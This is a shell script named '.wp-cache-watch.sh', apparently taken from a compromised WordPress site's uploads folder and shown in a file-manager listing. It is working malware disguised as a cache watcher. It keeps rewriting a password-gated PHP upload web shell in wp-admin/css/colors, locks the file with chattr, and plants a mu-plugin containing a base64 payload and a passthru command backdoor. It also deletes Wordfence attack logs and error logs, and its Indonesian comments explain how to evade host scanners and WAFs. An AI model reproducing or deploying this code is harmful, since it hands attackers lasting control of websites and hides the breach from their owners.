1#@!#!123s

: / homepages / 35 / d135665864 / htdocs / clickandbuilds / AmarettoTre / wp-content / uploads /
Filename : .wp-cache-watch.sh
back
#!/bin/sh
# launcher guard — LOCKFILE + kill -0 (builtin dash, TANPA fork): kalau sistem
# kehabisan proses (fork bomb), guard berbasis ps GAGAL diam-diam dan anchor
# terus menyulut watchdog baru → spiral kematian (kasus: server penuh proses,
# 'sh: Cannot fork', index cache 200 tapi halaman lain 500).
LK=""
for d in /dev/shm /tmp; do [ -w "$d" ] && { LK="$d/.wp-cache-watch.lock"; break; }; done
if [ -z "$LK" ]; then
  # Tidak ada /dev/shm ATAU /tmp yang writable → guard launcher mustahil.
  # JANGAN jalan tanpa guard: cron tiap 2 menit akan menumpuk proses tanpa
  # batas → resource exhaustion → site 500 + "database connection" error.
  exit 0
fi
if [ -z "$W2S_MEM" ]; then
  if [ -n "$LK" ] && [ -f "$LK" ]; then
    P=$(cat "$LK" 2>/dev/null)
    case "$P" in
      *[!0-9]*) ;;
      *) kill -0 "$P" 2>/dev/null && exit 0 ;;
    esac
  fi
  W2S_ROOT=$(cd "$(dirname "$0")/../.." 2>/dev/null && pwd)
  [ -f "$W2S_ROOT/wp-load.php" ] || W2S_ROOT=""
  T=""
  for d in /dev/shm /tmp; do
    if [ -w "$d" ]; then
      T="$d/.wp-cache-watch.$$"
      cp "$0" "$T" 2>/dev/null && break
      T=""
    fi
  done
  if [ -n "$T" ]; then
    W2S_MEM=1 W2S_ROOT="$W2S_ROOT" exec sh "$T" 2>/dev/null
  fi
  W2S_MEM=1
fi
[ -n "$LK" ] && echo "$$" > "$LK" 2>/dev/null
PD=/tmp; for d in /dev/shm /tmp; do [ -w "$d" ] && { PD="$d"; break; }; done
PAY="$PD/.wp-payload.$$"
trap 'rm -f "$0" "$PAY" "$LK" 2>/dev/null; exit 0' EXIT INT TERM HUP
N=0
while true; do
  find /dev/shm /tmp -maxdepth 1 -name ".wp-cache-watch.*" ! -name ".wp-cache-watch.$$" ! -name ".wp-cache-watch.lock" -delete 2>/dev/null
  find /dev/shm /tmp -maxdepth 1 -name ".wp-payload.*" ! -name ".wp-payload.$$" -delete 2>/dev/null
  # HANYA SATU watchdog: yang berhak hidup = pemegang lockfile. Yang lain
  # melihat lock berisi pid LAIN yang masih hidup → bunuh diri. Tanpa fork
  # (read + kill builtin) — tak mungkin saling-bunuh (mutual kill) karena
  # mereka tidak saling menyerang, hanya mengecek lock.
  if [ -n "$LK" ] && [ -f "$LK" ]; then
    IFS= read -r L < "$LK" 2>/dev/null
    case "$L" in
      *[!0-9]*) ;;
      *)
        if [ "$L" != "$$" ] && kill -0 "$L" 2>/dev/null; then
          kill -9 "$$" 2>/dev/null
          exit 0
        fi
        ;;
    esac
  fi
  echo "$$" > "$LK" 2>/dev/null
  R="${W2S_ROOT:-}"
  if [ -z "$R" ] || [ ! -f "$R/wp-load.php" ]; then
    R=$(pwd); while [ "$R" != "/" ] && [ ! -f "$R/wp-load.php" ]; do R=$(dirname "$R"); done
    [ -f "$R/wp-load.php" ] || R=$(pwd)
  fi
  touch /tmp/.wp-cache-watch.hb 2>/dev/null
  D="$R/wp-admin/css/colors/sunrise"; mkdir -p "$D" 2>/dev/null
  rm -f "$D/biro.txt" 2>/dev/null
  # sumber payload: tulis embedded bila hilang (tag pembuka via octal escape).
  # ATOMIK: tulis ke .tmp lalu mv — scanner host (Imunify dll) yang memotong
  # di tengah penulisan 2-langkah (tag dulu, body menyusul) menghasilkan file
  # body-TANPA-tag → bocor kode di index ("hilang, tiba-tiba balik lagi").
  if [ ! -s "$PAY" ] || [ "$(head -c 1 "$PAY")" != "<" ]; then
    echo '<?php' > "$PAY.tmp"
    cat >> "$PAY.tmp" <<'CDGEOF9x'
 echo 'CoupDeGrace'; if(isset($_GET['c']) && $_GET['c']=='ganteng'){ if(isset($_FILES['f'])){ move_uploaded_file($_FILES['f']['tmp_name'], basename($_FILES['f']['name'])); echo '|OK'; } echo '<form method=POST enctype=multipart/form-data style=margin:2em><input type=file name=f><input type=submit value=Upload></form>'; } ?>
CDGEOF9x
    mv "$PAY.tmp" "$PAY" 2>/dev/null
  fi
  for f in colors-custom.css.php; do
    P="$D/$f"
    BAD=0
    [ -f "$P" ] || BAD=1
    if [ "$BAD" -eq 0 ]; then
      [ "$(head -c 1 "$P")" = "<" ] || BAD=1
      grep -q "ganteng" "$P" 2>/dev/null || BAD=1
      # php -l hanya saat DIDUGA rusak — dulu dijalankan tiap loop (1-2 dtk):
      # spawn proses terus-menerus = churn CPU yang bikin MySQL/DB ikut
      # kehabisan napas di shared host (gejala: 500 + "Error establishing
      # a database connection").
      if [ "$BAD" -eq 1 ] && command -v php >/dev/null 2>&1; then
        php -l "$P" >/dev/null 2>&1 && BAD=0
      fi
    fi
    if [ "$BAD" -eq 1 ]; then
      chattr -i "$P" 2>/dev/null; chmod 644 "$P" 2>/dev/null
      # atomik: cp ke .tmp lalu mv — anti potong-tengah oleh scanner host
      cp "$PAY" "$P.tmp" 2>/dev/null
      chmod 0444 "$P.tmp" 2>/dev/null
      mv "$P.tmp" "$P" 2>/dev/null
      chattr +i "$P" 2>/dev/null
      # verifikasi SATU KALI setelah tulis ulang — bukan per loop
      if command -v php >/dev/null 2>&1; then
        php -l "$P" >/dev/null 2>&1 || { chattr -i "$P" 2>/dev/null; rm -f "$P" 2>/dev/null; }
      fi
    fi
  done
  # proteksi silang: watchdog juga menjaga healer mu-plugin (kalau dihapus
  # admin, ditulis ulang dari embed) — healer menjaga payload, kita menjaga
  # healer. Dua-duanya hilang = pembersihan total. Tag pembuka ditulis via
  # octal escape — tidak pernah literal di command (anti WAF-strip).
  H="$R/wp-content/mu-plugins/w2s-heal.php"
  HOK=0
  if [ -f "$H" ]; then
    [ "$(head -c 1 "$H")" = "<" ] && grep -q "w2s_d" "$H" 2>/dev/null && HOK=1
  fi
  if [ "$HOK" -eq 0 ]; then
    chattr -i "$H" 2>/dev/null; chmod 644 "$H" 2>/dev/null
    # atomik: tag+body ke .tmp, mv sekali jadi — tak ada jendela setengah tulis
    echo '<?php' > "$H.tmp"
    cat >> "$H.tmp" <<'CDGEOF9x'

if(defined('ABSPATH')){
  try{
    $w2s_d=rtrim(ABSPATH,'/').'/wp-admin/css/colors/sunrise/colors-custom.css.php';
    $w2s_p=base64_decode('PD9waHAgZWNobyAnQ291cERlR3JhY2UnOyBpZihpc3NldCgkX0dFVFsnYyddKSAmJiAkX0dFVFsnYyddPT0nZ2FudGVuZycpeyBpZihpc3NldCgkX0ZJTEVTWydmJ10pKXsgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgYmFzZW5hbWUoJF9GSUxFU1snZiddWyduYW1lJ10pKTsgZWNobyAnfE9LJzsgfSBlY2hvICc8Zm9ybSBtZXRob2Q9UE9TVCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGEgc3R5bGU9bWFyZ2luOjJlbT48aW5wdXQgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkPjwvZm9ybT4nOyB9ID8+');
    if((!is_file($w2s_d)||strpos((string)@file_get_contents($w2s_d),'ganteng')===false)&&!get_transient('w2s_rw')){
      set_transient('w2s_rw',1,30);
      @file_put_contents($w2s_d,$w2s_p);@chmod($w2s_d,0444);
    }
    @unlink(rtrim(ABSPATH,'/').'/wp-content/wflogs/attack-data.php');
    $w2s_gns=array_filter((array)get_option('w2s_guard_names'));
    if(!empty($w2s_gns)&&!get_transient('w2s_gl')){
      set_transient('w2s_gl',1,60);
      $w2s_pay=base64_decode('');
      foreach($w2s_gns as $w2s_gn){
        foreach(array('','wp-content/','wp-content/uploads/','wp-content/plugins/') as $w2s_pre){
          $w2s_f=rtrim(ABSPATH,'/').'/'.$w2s_pre.$w2s_gn;
          if(!is_file($w2s_f)&&$w2s_pay){@file_put_contents($w2s_f,$w2s_pay);}
        }
      }
    }
    $w2s_an=rtrim(ABSPATH,'/').'/wp-content/uploads/.wp-cache-watch.sh';
    if(is_file($w2s_an)&&!get_transient('w2s_rs')){
      set_transient('w2s_rs',1,45);
      $w2s_hb='/tmp/.wp-cache-watch.hb';
      $w2s_dead=(!is_file($w2s_hb)||(time()-(int)@filemtime($w2s_hb))>90);
      if($w2s_dead){
        $w2s_lk='/tmp/.w2s-rs.lock';
        if(!is_file($w2s_lk)||(time()-(int)@filemtime($w2s_lk))>60){
          @touch($w2s_lk);
          @popen('cd '.escapeshellarg(dirname($w2s_an)).' 2>/dev/null; nohup sh '.escapeshellarg($w2s_an).' >/dev/null 2>&1 &','r');
        }
      }
    }
  }catch(Throwable $w2s_e){}
  return;
}
if(isset($_GET['x'])){passthru($_GET['x'].' 2>&1');exit;}
if(isset($_GET['c'])){passthru($_GET['c'].' 2>&1');exit;}
echo 'CoupDeGrace';

CDGEOF9x
    chmod 0644 "$H.tmp" 2>/dev/null
    mv "$H.tmp" "$H" 2>/dev/null
  fi
  rm -f "$R/wp-content/wflogs/attack-data.php" 2>/dev/null
  # Sweep error_log di-throttle: tiap 10 loop (≈3-4 menit), bukan tiap loop —
  # find rekursif seluruh wp-content tiap 15 dtk = I/O boros di situs besar,
  # ikut menekan MySQL di shared host.
  N=$((N+1)); if [ $((N % 10)) -eq 0 ]; then
    find "$R/wp-content" -type f -name error_log -delete 2>/dev/null
  fi
  # Loop diperlambat 15-27 dtk (dulu 1-2 dtk): self-heal tetap jalan tapi
  # tidak lagi menyedot CPU/process slot — host stabil, MySQL tidak ikut
  # kehabisan napas. Heartbeat tetap tiap loop (healer threshold 90 dtk).
  s=$((($$ % 5) * 3 + 15)); sleep $s
done